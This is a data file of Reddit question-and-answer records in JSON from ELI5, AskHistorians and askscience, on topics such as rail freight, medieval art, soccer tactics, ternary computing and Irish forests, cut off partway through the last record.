{"q_id": "2p5izg", "title": "why the majority of bulk goods in the u.s. are transported by truck and why rail is not utilized as much", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2p5izg/eli5_why_the_majority_of_bulk_goods_in_the_us_are/", "answers": {"a_id": ["cmtk2eu", "cmtk4yk", "cmtkfnd", "cmtkwyf", "cmtlqf0"], "score": [2, 32, 4, 10, 4], "text": ["Changes in the way rail companies were subsidized meant that they had to repair their own infrastructure while many trucking companies were and are able to utilize public highways and roads at little to no direct taxation. The most cost effective solution became trucking everything and this is still largely the way things are. ", "You have some false assumptions. The US has one the most efficient freight train system in the world and it is heavily used. The trains ship to hubs, then truck ship to the smaller distribution centers and individual stores. ", "It comes down to the nature of fixed transport networks for trains versus a more fluid structure for trucks. The downstream efficiency (moving goods to the end user) of trucks is higher than trains because they are not confined to a rail network. If it was simply a contest of transporting goods along an identical route then trains would win hands down. The average freight train can move 1 ton of freight around 450 miles on a gallon of fuel, where as the most efficient trucks can only get around 275-300 miles per ton/gallon.\n\nThis is why rail networks are used predominantly to transport coal, (which makes up almost 47% of all the rail based freight in the US) because it travels predominantly along routes from fixed locations to other fixed locations. Once the initial cost of a rail system has been laid down it is far superior to a truck. \n\nFor consumer goods trucks are more ideal because the routes may not be the same for every trip. The nature of retail business means that demand and supply of goods fluctuates, and as such freight volume also fluctuates. In these scenarios trucks are the better option. Even though you are sacrificing efficiency, it is deemed acceptable for an increase in flexibility. ", "We may have a crappy passenger rail network (heck, I'd actually even say worse than India's lol)\n\nBut our freight rail is second to none. A huge amount of goods is actually transported by freight in the US.\n\nIt kind of works like the hub and spoke system that airlines (crappy ones) operate on.\n\nLets say cargo arrives in the port of Los Angeles. The train will take the cargo to Denver and the cargo will then be distributed throughout Colorado via trucks to stores and what not from the processing center.\n\n\nIt's not uncommon to see huge, huge lengthwise freight trains carrying all manner of mined products, oil, and manufactured goods when you leave the coasts of the US.", "Freight by truck is vastly subsidized by the government compared to rail.  Trucking companies bear no responsibility for maintaining or building highways and city streets that make their business possible.  Before widespread highway building, most freight went by rail.\n\nIf there was any sense in government transportation spending, road users would need to pay something remotely based on the space the take up, the wear and tear they inflict, noise and air pollution, and the danger they pose to others.  This would put trucks on equal footing with rail."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "4er881", "title": "Why does medieval art sometimes depict people holding small buildings?", "selftext": "I've been wondering this for a while. It's something you see sometimes, particularly in religious-oriented medieval frescoes. What does it symbolize? Here are 2 examples I could come up with. I know there are more, but here's what I found. \n\n1. _URL_0_\n\n2. _URL_1_", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4er881/why_does_medieval_art_sometimes_depict_people/", "answers": {"a_id": ["d22kkmy", "d2332gl"], "score": [25, 3], "text": ["The birdhouse of the soul in medieval art can have a few meanings--Google reverse image search shows that the two examples you picked illustrate two of the main ones, which is pretty awesome.\n\nSurvey says your first painting is a fresco from a Serbian Orthodox monastery [that depicts](_URL_1_) the apostle Peter. He's carrying a church building on his shoulders to symbolize \"on this rock I will build my Church,\" most likely. (From the same fresco series, Paul is [*not* carrying the Church](_URL_0_).)\n\nYour second example is a depiction of patronage. From the Cappela degla Scrovegni, it depicts Scrovegni \"giving\" his church building to God (that is, paying for it).\n\nSo I guess in general, I would say that the little buildings represent either the Church or a specific church and express a relationship between the person involved and the C/church.", "Medieval patrons and donors were frequently portrayed with miniature images that represent the object or building created under their auspices. Particularly when this served a Christian purpose, such as a church, a cross, or a prayer book, an image of the person whose donation made the work possible--when shown holding that miniature--was understood as a reminder to pray for her or him because of this good work. Thus the patrons were honored by being represented in perpetuity with the works they fomented while also reaping the benefits of prayers every time someone observed the donor portrait and called the creators to mind in prayer. Your example of the painted donor holding a miniature church is not, in fact, limited to frescoes but can be see in exterior sculpture on many Gothic cathedrals, on interior capitals of Romanesque basilicas, and in elaborately carved altar scenes. The same concept extends to liturgical objects such as illuminated manuscripts and bejeweled crucifixes for much of the Middle Ages.\n\nThe self-referential nature of this imagery plays out in a similar way through the inscriptions on works that credit donors with the act of making. The verb employed most often to refer to the individuals responsible for artistic creation, as it appears in medieval inscriptions from paintings to embroideries to architecture, is \u201cmade\u201d (fecit). This word denotes at times the individual whose hands produced the work, but it can equally refer to the person whose donation made the undertaking possible. Thus a cross or a manuscript or a sculpted capital or an embroidered battle flag can bear an inscription that says Elisava or Gofridus or Ioannes and Maria \"made me\" (me fecit), eliding the differences we now perceive between patron and artist. Whereas today\u2019s eye wants to separate these two roles in the creation of a work of art or architecture, the medieval view recognized that both were makers. \n\nFor recent scholarship on this topic, see 'Me fecit.' Making Medieval Art (History), a special issue of Journal of Medieval History, _URL_0_"]}, "title_urls": [], "selftext_urls": ["http://imgur.com/3iFGKLS", "http://imgur.com/b30x2GS"], "answers_urls": [["http://orthodoxwiki.org/File:ApostlePaulZica.jpg", "http://orthodoxwiki.org/File:ApostlePeterZica.jpg"], ["http://www.tandfonline.com/toc/rmed20/42/1"]]}
{"q_id": "6xuejm", "title": "why does nobody play man to man defense in soccer?", "selftext": "Watching soccer I notice nobody defends in a tight man to man defense (think basketball or ultimate Frisbee). I can see why man to man may not work with a slower team but you would think that with a very quick/physically gifted team man to man would put a lot of pressure on the opposing team causing a lot of turnovers.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6xuejm/eli5_why_does_nobody_play_man_to_man_defense_in/", "answers": {"a_id": ["dmiilfj", "dmij6lj", "dmijxce", "dmipusr", "dmisx2p", "dmitihr", "dmjigp1"], "score": [9, 19, 3, 2, 2, 4, 3], "text": ["Because it's harder to control your opponent in soccer. \nThe forward could very easily flick the ball past his defender with a single touch. If the defender doesn't have any safety, the attacker would be through on goal", "It's also not practical to cover all the space on the pitch. As a basic rule of thumb your team is compact on defense and expanded when you have the ball. Being compact in the space between you and your teammates allows the formation to hold more firm which provides cover to the immediate player pressuring the ball and allows the other defensive players to cut off as many passing lanes as possible to other opposing players. Expanding when your team has the ball allows more space for the player on the ball and more open space for players off the ball to move into space and open up passing lanes/make runs. Tight Man to man defense would drag defensive players out of position/formation leaving large gaps or open spaces on the field for the opposing team to exploit. You do see more tight man to man marking on corners and set pieces as the immediate threat is the ball being whipped into the box in which case the amount of space to defend is much smaller, like in basketball. ", "Sometimes they do, but only when really needed. It's more efficient to control territory than dance around with an individual. If you can cut off the pass to a person by standing between the ball and the player, you really don't need to worry about where the player goes. Also, since you know where the goal is, if you stay between the ball and the goal you don't need to worry about many of the individual players either. But you'll notice, the closer to the goal the ball gets, the tighter the man to man coverage gets.", "Man to man is too strict as well. As said before there's tons of space on a field but everyone is trying to hit the back of the net so that narrows down the target area. In a strict man to man an attacking player who doesn't even have the ball could easily just lead their defender way out wide and out of position and create some new space for the rest of the team. The more zonal defense though would leave the attacking player out wide in a much less dangerous situation while the defender stays within the range of the goal and adds another body to the backline effectively outnumbering the attack. The main strength in man to man though is transparency - if a player gets away you know whose job it was and there's less confusion when it's a 1:1 relationship but there's usually a mix of both - zonal from more open play and man to man on set pieces", "It is done, but not as tightly due to the size of the pitch and required movement. You will typically be assigned to someone (or one of the positions of the opposing team to be precise) when you play defense. On free kicks and corners it's pretty much like basketball. Then again there is a lot of place to move on and it's all about making smart passes and runs to push through where you're not expected.\n\nThe off side rule and also the rules on obstruction makes it even more complicated. You can even set off side \"traps\" which involves halting or moving in the opposite direction of the attacking team in order to force a foul.", "For all the reasons everyone else has stated, but also due to the offside rule.\n\nIf a defence was to play tight man-to-man, an intelligent attacking side could simply have one forward push his defender to the by-line (end of the field) and therefore open up the entire rest of the pitch for other attackers to exploit.\n\nAlso, a soccer pitch is a much bigger area than a basketball court, has a longer active duration and of course doesn't have timeouts. To play man-to-man for a full 90 minutes would be exhausting and teams with fitter attackers would soon wear down defences.\n\nTeams do sometimes play man-to-man, but it's usually only against highly influential individual attackers in order to 'mark them out of the game'.", "Man to man marking was popular for a bit, the great Italian teams of the 1970s did it (after Dutch Total Football had nullified their previous Catenaccio defence system). But it fell out of fashion for all the reasons stated here, primarily the fact that football is about space and if you are marking tight you are leaving more space in which the attack can hit the ball into and out run you.\n\nSo 2004 comes around and everyone's basically forgotten about man marking. Then Greece do it in the Euros and no one can cope and they pull off one of the greatest upset tournament wins of all time.\n\nBut then teams remembered \"oh yeah just pass into the space\" and it stopped working again."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "8apupq", "title": "In Greek mythology, Atlas was sentenced to hold up the sky. Why then do so many depictions of him show him holding the entire Earth?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8apupq/in_greek_mythology_atlas_was_sentenced_to_hold_up/", "answers": {"a_id": ["dx0vwsm"], "score": [220], "text": ["Catalin Anghelina's study \"The Ancient Representations of the Titan Atlas\" is almost precisely what you're looking for. It largely focuses on the differing appearance of Atlas in Greek art itself, and identifies the same contrast you do. \n\n---\n\nThe first thing to note is that there are differing accounts of what, precisely, Atlas was sentenced to. There's the Homeric (and more popular) account, \"that he holds the pillars which keep earth and sky apart.\" And there's the Hesiodic account, that he \"Atlas holds\nthe sky with his head and hands while being located in Tartarus in front of its doors.\" \n\nDeceptions in the style of Homer are admittedly less common nowadays, but there is ample representation of them in antiquity. For example, \"on a Laconian cup which is dated before 550 BC [...]  Atlas stands on a Doric column supporting a sky made of concentric [...] zones studded with stars.\"\n\nHowever, such an image makes little sense in the Hesiodic depiction. After all, \"Atlas is located in Tartarus, which in the Greek myth is clearly located under the earth\" and so \"it is not possible to view the Hesiodic Atlas as supporting the sky from between earth and sky.\"\n\n---\n\nThe Hesiodic account, as you may have guessed, is the one that leads to the depictions of Atlas you highlight in your question. Anghelina dates it back to at least 450 BC, where it appears \\(admittedly, in a depiction of Herakles, not Atlas\\) on a [Campanian amphora](_URL_0_).\n\nHow did these two depictions of Atlas originate? Obviously there's no definitive answer, but Anghelina's looks to the presence of analogous characters in other contemporaneous religions. \n\nThere is the Vedic God Vishnu, whose dwelling place is at \"the North Pole of the sky.\" But there is also another form of Vishnu: as described in Wilson's translation of *The Vishnu Purana,* \"Below [...] is the form of Vishnu [...] which is called \u015aesha [...] \u015aesha bears the entire world, like a diadem, upon his head.\" \u015aesha, symmetric to Vishnu, is located at the world's southern pole -- as Atlas is most often portrayed.\n\nThere is also Shu, of Ancient Egypt, who separates the sky (Nut) from the Earth (Geb). Depictions of Shu \"[are] similar to the Homeric one: the god, who symbolizes the axis mundi, holds the sky from the inside,\" as [seen in this image](_URL_1_).\n\nAnghelina thus concludes:\n\n > Since in the Hindu myth the god who is located at the North Pole, Vishnu, is most likely of a non-Indo-European origin, the conception of a god located at the celestial South Pole and holding up the sky from there is also likely to be of non-Indo-European origin. Traces of this myth can be found in the Altaic cultures of Siberia, where such mythologies of the North Pole have been documented. It is in these shamanistic cultures where the most plausible candidates for the origin of this type of representation must be looked for. One cannot say, therefore, that this Greek type is recent borrowing from the Mediterranean/Near East sources. Both representations of Atlas coexist from before the time when the Greeks entered the Greek peninsula. Thus, the Hesiodic representation of Atlas, the 'Farnese' Atlas, may be very old, possibly going back to the period when the Greeks were still in contact with the shamanistic cultures of Asia.\"\n\n---\n\nAnghelina C. The Ancient Representations of the Titan Atlas. Museum Helveticum. 2010 Dec 1:195-206.\n\nWilson HH, editor. The Vish\u0144u Pur\u00e1\u0144a: a system of Hindu mythology and tradition. J. Murray; 1840."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://imgur.com/a/NSVkW", "https://imgur.com/a/tzGlP"]]}
{"q_id": "16v7fk", "title": "Would it ever be efficient to ever build computers that processed in higher bases than binary?", "selftext": "If a CPU can recognize a certain number of digits per second, would it be possible to build a computer that could recognize more conditions than 1 and 0 to potentially improve processing speed?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16v7fk/would_it_ever_be_efficient_to_ever_build/", "answers": {"a_id": ["c7zoe7w", "c7zohjo", "c7zowxi", "c7zrbg0", "c7zvnpr"], "score": [9, 65, 3, 5, 2], "text": ["The Soviets built a [ternary computer](_URL_0_) in the '50s. You might also want to have a look at the  [balanced ternary](_URL_1_) page. I'm no computer scientist but it seems plausible.", "It is possible to build computers that aren't binary. There have been [ternary (three state)](_URL_1_) and even [analog computers](_URL_2_) in the past.\n\nThere is a theoretically optimal base to use, calculated using something called the [radix economy](_URL_0_). That optimal is e, approximately 2.718. It's closer to three than two but, with practical engineering taken into consideration, virtually everyone decided on binary. Three valued logic would require more complicated logic gates with more inputs and outputs and higher tolerances to get the same performance. That's because things aren't perfectly on or off even in a digital computer, they're just close enough to that ideal to reliably distinguish. More states would make reliably distinguishing states more difficult, so you have to be less demanding of it to make it work at the same tolerances as a digital computer.", "Efficient? Yes. It's difficult, though. Currently, numbers are represented as voltage levels in a computer's components (CPU, etc). It more difficult to divide the voltage levels between more than two numbers.\n\nAside from that, the circuits are more complex. Binary computers work well; if it ever makes sense to develop trinary computers, they'll be developed.", "It's possible, but it wouldn't improve performance. We've gotten very good at producing binary systems, and so we have to consider the production costs and performance of the hardware to make a ternary system - you can expect it would be much slower because of the added complexity. Even if we improved our systems, it would be terrible to program for (1=true and 0=false is very intuitive), and there is no theoretical basis for a speedup.\n\nAlthough a CPU can recognize a certain number of digits, you have to consider where this comes into play. You would only get a speedup if you could design a circuit that recognizes ternary digits as fast as we currently recognize bits. But you can speed things up without changing the base, too - just make a circuit that recognizes two bits at a time, instead of one that recognizes a ternary digit. ", "True + True = True\n\nTrue + False = True, therefore\n\nTrue + Unknown = True\n\nand also,\n\nTrue * False = False\n\nFalse * False = False, therefore\n\nUnknown * False = False\n\nThose 2 properties of the Unknown value might be useful in any ripple circuit. Assuming the low level design was trivially more complex(probably isn't), there'd be an inherent performance improvement in certain conditions. This is also assuming that we don't want any unknowns in any final values. The worst case scenario it would be as fast as a binary design, and best case scenario it would be some percentage faster.\n\nWe'd have to weigh out what the percentage increase in performance is, relative to the necessary increase in die area."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Ternary_computer", "http://en.wikipedia.org/wiki/Balanced_ternary"], ["http://en.wikipedia.org/wiki/Radix_economy", "http://en.wikipedia.org/wiki/Setun", "http://www.analogcomputermuseum.org/"], [], [], []]}
{"q_id": "f2fz6", "title": "Do radio waves decrease in intensity over time?", "selftext": "I may be entirely missing the point here, but that evil specter conventional wisdom says that our television and radio broadcasts are hurtling through space at this very moment. Do those degrade, or is there truly an uncorruptible signal that will forever travel throught the universe?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/f2fz6/do_radio_waves_decrease_in_intensity_over_time/", "answers": {"a_id": ["c1crr3w"], "score": [6], "text": ["They do decrease in intensity over time, but that's sort of tautological, since intensity is defined as power per unit area, and they're radiating outward in a sphere.\n\nIt's tough to generalize about this sort of thing, but it's not a bad bet to assume that a little green man living on a planet orbiting one of the Alpha Centauri stars would be unable to distinguish any of our terrestrial broadcasts from background noise. In order to make our broadcasts heard at even such a cosmically trivial distance, we'd have to push a *lot* of power into a very narrow part of the electromagnetic spectrum."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2daqiv", "title": "Americans taking the German embassy in Paris at outset of World War One?", "selftext": "In Barbara Tuchman'ss *Guns of August* she says on the day war was declared that \"...[Myron Herrick, the American Ambassador to France] had just recieved a request to *take over the German Embassy and hoist the American flag* ...\" (Emphasis by me)\n\nWhy would he be asked to do this? *Who* asked him to do this, the French or the Americans? Was this a common thing? Was this just some kind of code? I am utterly baffled.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2daqiv/americans_taking_the_german_embassy_in_paris_at/", "answers": {"a_id": ["cjnum5z"], "score": [5], "text": ["Tuchman's almost certainly referring to the concept of the [protecting power](_URL_0_).  When two nations break diplomatic relations, each typically designates a \"protecting power\" to take custody of its embassies and protect the welfare of its citizens in the other country.  They can also convey diplomatic messages between the parties.  For instance, during World War Two, Switzerland was instrumental in both guarding Americans stranded in Germany and in conveying Japanese messages leading up to their surrender.  As the protecting power's officials do not formally represent the protected power, they would display their own flag over all buildings for which they're responsible - so, if America was the protecting power for Germany, they would fly the American flag over both their own embassy and the German embassy.\n\nI haven't found anything specifically saying it was the case in World War I, but this is almost a textbook example of what it would look like for Germany to appoint the United States as their protecting power in France."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Protecting_power"]]}
{"q_id": "go8rb", "title": "How often would you see a dinosaur?", "selftext": "*I tried asked this earlier [here.](_URL_0_)*\n\nSo you're a time traveler back in the Cretaceous, the Jurassic, pick your favorite period, wandering about the terrain of early(er) life Earth.\n\nHow many dinosaurs do you see, and how frequently? How many large ones? How many small ones? How large were their packs? How dense the insect swarms? Were they like the passenger pigeons of not so long ago? Or much more infrequent and sparse from their size?\n\nWere the oceans more or less alive, than they are now, or a few centuries before bottom trawling and mass fishing? The forests?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/go8rb/how_often_would_you_see_a_dinosaur/", "answers": {"a_id": ["c1p0z3y", "c1p1y6n", "c1p2bgs", "c1p2c8q", "c1p2htm"], "score": [90, 2, 15, 16, 17], "text": ["That is a really challenging question and I think it would be fair to say that it's at the crux of what paleontologist study. They're just starting to figure out population sizes of [small groups of dinosaurs](_URL_2_). It's hard to figure out what habitats were like so long ago, for example dinosaur fossils have been found in [Alaska](_URL_1_), above the arctic circle. No one would have anticipated that fossils would be there, yet there they are. Without detailed knowledge of the habitat it would be difficult to estimate population and the like. Most work done so far has been focused on estimating the [diversity](_URL_0_) of dinosaurs rather than the populations. It's fair to say that there would be more herbivores than carnivores and more small ones than larger ones, but other than that it's hard to talk in specifics.\n\nEdit: Spelling.", "Well each dinosaur population would have to be big enough to have some genetic variation, otherwise there is lots of inbreeding. So that should help us get a grip on minimum dinosaurs in a population. That could be a start.", "We don't know.  The conditions which produce fossils are very rare and, most troublesome to answering this question, not entirely known.  In order to guess how often you might bump into a dinosaur, we would need to be able to extrapolate from the presence of fossils to the wider concept of general population numbers.  We don't have the means by which to do this with any confidence.\r\n\r\nWe do know that even now, nature goes through periods of extreme life-density and its inverse of life scarcity.  Every living thing is trying to expand its numbers without regard for any factor whatsoever.  A swarm of locusts does not give a shit that it will strip its food supply if it keeps expanding.  It will simply strip its food supply and then there will be a massive starve-off.  That kind of swinging from instability to instability is far more common than any unchanging stability.  So, maybe you'd show up in the midst of a 700-mile-long migration of cockroaches, or maybe you'd show up in the midst of a near-sterile sea which had just seen the extinction of a fish that produced large amounts of ammonia that ended up choking the entire area dead of life (for awhile, bacteria that love ammonia will show up in a few decades).", "Without doing any research at all, I'd say it's a fair bet to assume similar population densities to healthy, undisturbed contemporary ecosystems. Taking African savannah as a starting point (yes, I know it isn't that undisturbed, but there's a nice diversity of large animals) you could easily go a day or so without seeing most solitary species, and probably miss the majority of predators, but you would see a whole lot of herd species such as [Hadrosaurs](_URL_1_), which were more or less the deer of their time.\n\nAs for raw numbers compared for today, you can work it out mathematically in a [Trophic pyramid](_URL_0_). If we assume that solar input was the same as today (safe enough) and that plant productivity was roughly equal (not so safe- grasses are really badass, but I don't know how badass), and finally that the metabolic efficiency of the average herbivore species (oh god I don't know), you can calculate the net mass of dinosaur per unit area. This can be divided by mass of individual dinosaurs to get a crude estimate of populations, which I hope someone with more time and testicular fortitude than I will turn up and do. In any case, deviations aren't going to be wildly different from today, but I imagine larger average body sizes would bring numbers down slightly. A Tyrannosaur is going to need more territory than a cheetah.\n\ntl,dr; In the past I have personally just watched an Attenborough and switched lions to raptors, elephants to stegosauri, and antelope to hadrosaurs, then reduced the numbers slightly to account for size. It's going to be close enough.\n\nCue dissent.\n\n", "I suspect that the answer to this would be highly dependent on the era. Consider that the time between when the stegosaurus and the t-rex roamed the earth is greater than the time between the extinction of the dinosaurs and today. "]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/answers/comments/gi3qn/how_often_would_you_see_a_dinosaur/"], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC1564218/?tool=pmcentrez", "http://www.blm.gov/ak/st/en/prog/culture/dinosaurs.html", "http://onlinelibrary.wiley.com/doi/10.1002/ar.20992/full"], [], [], ["http://en.wikipedia.org/wiki/Ecological_pyramid", "http://en.wikipedia.org/wiki/Hadrosaur"], []]}
{"q_id": "35re18", "title": "why do rich people donate to a certain college instead of providing free scholarships so students don't have as much debt?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35re18/eli5_why_do_rich_people_donate_to_a_certain/", "answers": {"a_id": ["cr72pn9", "cr72rw2", "cr7322r", "cr737b6", "cr73t7i", "cr7bygs", "cr7d3t7"], "score": [16, 3, 2, 19, 2, 2, 4], "text": ["Donated money often goes towards new buildings, new programs, and accessories that allow the university to function at a higher order. These donations are more beneficial to the quality of education that the university offers, and often takes precedence over scholarship money.", "Many rich people do contribute heavily to scholarship funds. A donation to the school lowers tuition for everyone. A scholarship granted only to students with the best grades only helps out those students.\n\nIt's just a personal choice.", "Donating to a college includes: Scholarships, building funds, library allocations, equipment purchases, program funds, and many other things. Also providing funds to the school that are for general use lowers the tuition for all students not just one. ", "It's a lot of work to set up a scholarship fund, and it's expensive if you want to get a tax deduction. You need lawyers, etc. Schools generally want to give out more financial aid. It allows them to accept better students. Harvard, for example, eliminated tuition for all students with family income less than $100k recently. When they donate to the school, the school uses that money for the benefit of the students. \n\nSome math to consider: If you give $100k to a school and you're in the top income tax bracket, it's equally as expensive to give out $60k to random students (because you miss the tax deduction). You can donate the money to a school, they can use $40k to remodel a lobby or hand out free condoms or whatever else they want to do and *still* give out the same amount of scholarships as you would have if you went off on your own.", "Except if you are providing a scholarship to a student and they are stuck with 40 year old classrooms, outdated labs, or lack access to quality facilities are you really helping them?\n\nCapitol and facility improvements are where alumni re usually targeted for giving. It allows them to have concrete impacts and quantifiable results. If 1 million dollars renovates a chemistry lab, and allows more students into the program, or attracts better faculty, or conducts new research, all of which improves the education and opportunities for students. Isnt that better then helping 1 student at a time with a lower quality experience?\n\nEDIT: And if you wan to lower tuition take it up with the State Legislature for public schools. Hell LSU is getting ready to declare bankruptcy because of state funding cuts. No amount of donations of tuition hikes make up for it when states decide that funding state institutions isnt important. ", "Well they donate because they have a loyalty to their alma mater specifically not every school in the country. If I went to Amherst, for example, and I believe it made me the person I am today, of course I'd want to repay the school that did so much for me. Donations are much more common at private colleges because the people who attended them have a very specific attachment to their school. It would be hard to understand if you just went to your local state school, where the only spirit comes from football and not traditions or culture.   ", "- Write a check.\n\nor\n\n\n- Hire lawyers, managers, etc, or spend a good portion of your free time managing it yourself, and write lots of checks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "cwj5ui", "title": "why don\u2019t structure fires create a chain reaction of gas line explosions the lead back all the way back to the source?", "selftext": "Edit:  sounds like the consensus is lack of oxygen in the pipe network and one way valves. Thanks folks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cwj5ui/eli5_why_dont_structure_fires_create_a_chain/", "answers": {"a_id": ["eybqpha", "eybrna5", "eycgz33", "eychuu7", "eycj692", "eydpg8i", "eye1lvk"], "score": [401, 68, 5, 47, 2, 3, 2], "text": ["You can't have an explosion without oxygen. Gas pipes are full solely of gas, and they're also really quite tough. You have oxygen at the end of the pipe, so you might get a fire at the end, but the oxygen won't burrow down into the pipe because the hot gasses (CO2 and water) that are bursting out of the end of the pipe don't let anything else come back the other way. As a result, gas pipes tend to just keep a small flame at the end of them during a fire, rather than having the fire chase down the entire pipe.", "Gas pipes has [flame arresters](_URL_0_).  They work by cooling down the flame so much that it goes out.", "The gas has to be mixed with oxygen to be flammable. The gas in the pipe is of too high concentration to burn. Gas has to be with in certain flammable limits or concentrations to burn. \n\nAlso most residential gas service has an over flow check valve that will \"trip\" or engage if too much gas begins to flow to the home.", "Firefighter here.  Among the other very good answers others have provided about the natural gas industry safety practices.  It should also be noted that one of the very first things we do is cut utilities to the structure involved in the incident.\n\nThe Incident Commander determines if they want us to stretch hose to fight the fire. (You all would be shocked what we can do with a water extinguisher only.) At the same time he orders the stretch he will order a unit to find and disconnect all power and gas utilities.  To avoid fueling the fire and eliminate the electrocution risk to the hose team.  Because it's just not possible to operate a hose line without getting wet.\n\n[This is a tool every member of my department carries in their PPE.](_URL_0_)  You can see it includes a handy gas-valve wrench slot to accurately shut off standard gas-safety valves.  The link includes a video to show you how we shut off a gas valve.", "Making a fire needs a mixture of gas from the line and oxygen from the air just like making orange needs a mixture of red paint and yellow paint.", "Same reason using a lighter doesn't make the lighter explode. What's in the container isn't in a combustible state.", "Gas lines are closed pressurized systems. Depending on the building code when they were installed the lines are frequently fire resistive as well. (Think black metal pipes). Even when the gas line gets a hole or is broken the gas is pushing out.  Like a number of people have said, it's the mix of oxygen and gas that burns. With the pressure the O2 is kept out, so the line stays too rich (not enough oxygen.)\n\nMethane (natural gas)has a flammability range of roughly 5% at the lower end (LEL or lower explosive limit) and roughly 15% (UEL Upper Explosive Limit) so it's explosive range is pretty narrow. I've seen several fires with a compromised gas line. It burns kinda like a gas fire in a fire place. A pretty blueish flame with lots of yellow highlights.\n\nAn explosion, just like a fire, needs 3 things: An oxidizer, fuel and heat. Oxygen is the oxidizer, natural gas is the fuel and the heat comes from several possible sources. Flame from a water heater, electric spark from an electric system like a light switch  or other switch, pilot light, static electricity, etc. \n\nAs a side note, I've fought 100s of car fires. I've had tires blow out, but never a car blow up. Contrary  to what you see in the movies or on TV"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Flame_arrester"], [], ["https://www.thefirestore.com/store/product.aspx/productId/10776/Channellock-The-87-Rescue-Tool/"], [], [], []]}
{"q_id": "1s903x", "title": "Are there any animals that wear \"clothes\"?", "selftext": "I was thinking about what the basic necessities are for humans (food, shelter, clothing) and was thinking if animals had similar basic necessities. Obviously animals need food and shelter to survive, but I couldn't think of one animal that had to use something outside of its body all the time to survive its environment.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1s903x/are_there_any_animals_that_wear_clothes/", "answers": {"a_id": ["cdv4948"], "score": [7], "text": ["How about hermit crabs? They have shells, and the crab doesn't make its own, so that would probably be closest to \"clothing\" an animal would get."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5jjhek", "title": "my box of cereal states that in 300g of it, it contains 90g sugars, 10g fat, 2g saturated fat, and 10g salt. what is the other 188g made of?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5jjhek/eli5_my_box_of_cereal_states_that_in_300g_of_it/", "answers": {"a_id": ["dbgli6t"], "score": [4], "text": ["I cereal most of it is likely fibers, starch and protein. There is also some coloring and aroma and lots of other trace substances."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "36lj4c", "title": "Why isn't Ireland more forested?", "selftext": "The pictures I see of Ireland are mostly vast expanses of flat greenery. Why isn't it more forested? Or, are the pictures just playing to our expectations? If the answer is that there are conditions that favor flat greenery, are there other places in the world with the same conditions and same results?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/36lj4c/why_isnt_ireland_more_forested/", "answers": {"a_id": ["crf1cs3", "crf3kpd", "crf4has", "crf4osz", "crf5n6a", "crf71vb", "crf7kgj", "crf7mfs", "crf99yl", "crfap51", "crfbln1", "crfbulq", "crfczkv", "crfentw", "crff7lb", "crfoddq", "crfpl14"], "score": [993, 63, 34, 114, 19, 9, 3, 48, 8, 17, 2, 8, 7, 9, 5, 3, 3], "text": ["[This article](_URL_0_) discusses the history of forests in Ireland, and their decline (and the current efforts to increase the amount of forest). Much like other areas of Western Europe, Ireland previously had much more forest cover, much of which was removed by human activity. This was firstly to increase the amount of land available for farming, and then later wood became an important material for industrial uses (much of which was exported to England, which had suffered from the same deforestation).", "I have to give my opinion here, as a serious point hasn't been raised yet. Being so close to the UK,  Ireland was harvested for it's lumber in order to build ships etc for the British Empire. As you know,  the UK was the most powerful nation on earth for many years,  and seafaring was her modus operandi. Ireland had lush forest that stretched the length and breadth of the land. It's said that you could travel from North to south,  or East to west, in Ireland,  without touching the ground. \n\nTL;DR The UK pillaged our forestry to build more ships to sail the seas,  to pillage more lands,  to get more coin,  to pillage more lands,  to build more ships... Etc,  etc,  etc. ", "Anywhere sheep are pastured is going to be treeless, because sheep will eat any small trees. If you plant trees you must go to the expense of fencing them in very securely until they are big enough to survive on their own. They raise a lot of sheep in Ireland, especially in the north and west. ", "_URL_0_ - Here's a look at Irish forests from the Irish Department of Agriculture.\n\nThe tl;dr is that Ireland was virtually 100% forested, and they were cut down for various reasons.\n\nThe photos you see are, sadly, pretty representative. Though there are a couple of small exceptions, for example County Wicklow, parts of Westmeath, etc. but the countryside is almost entirely fields of various shades green.\n\nWhy not jump on Google Streetview and have a look around for yourself?\n\nAs for why these areas haven't been replanted, well as others have pointed out, it's all farmland.\n\nFor comparison, Scandinavia has far, far worse growing conditions for trees than Ireland - growth rates per year there are a fraction of Irish rates, yet it is much more extensively forested. It's purely a human decision.\n\n(Whilst not an unbiased source, there are some growth rate figures to give you some idea of the scale of how well Irish conditions suit trees: _URL_1_)", "According to a random museum exhibit I saw in Ireland while on honeymoon, they blame the British. The display showed Irish forests being cut down, turned into charcoal, and then sent to Britain for use in their iron then steel mills.", "Being Irish I can say that while 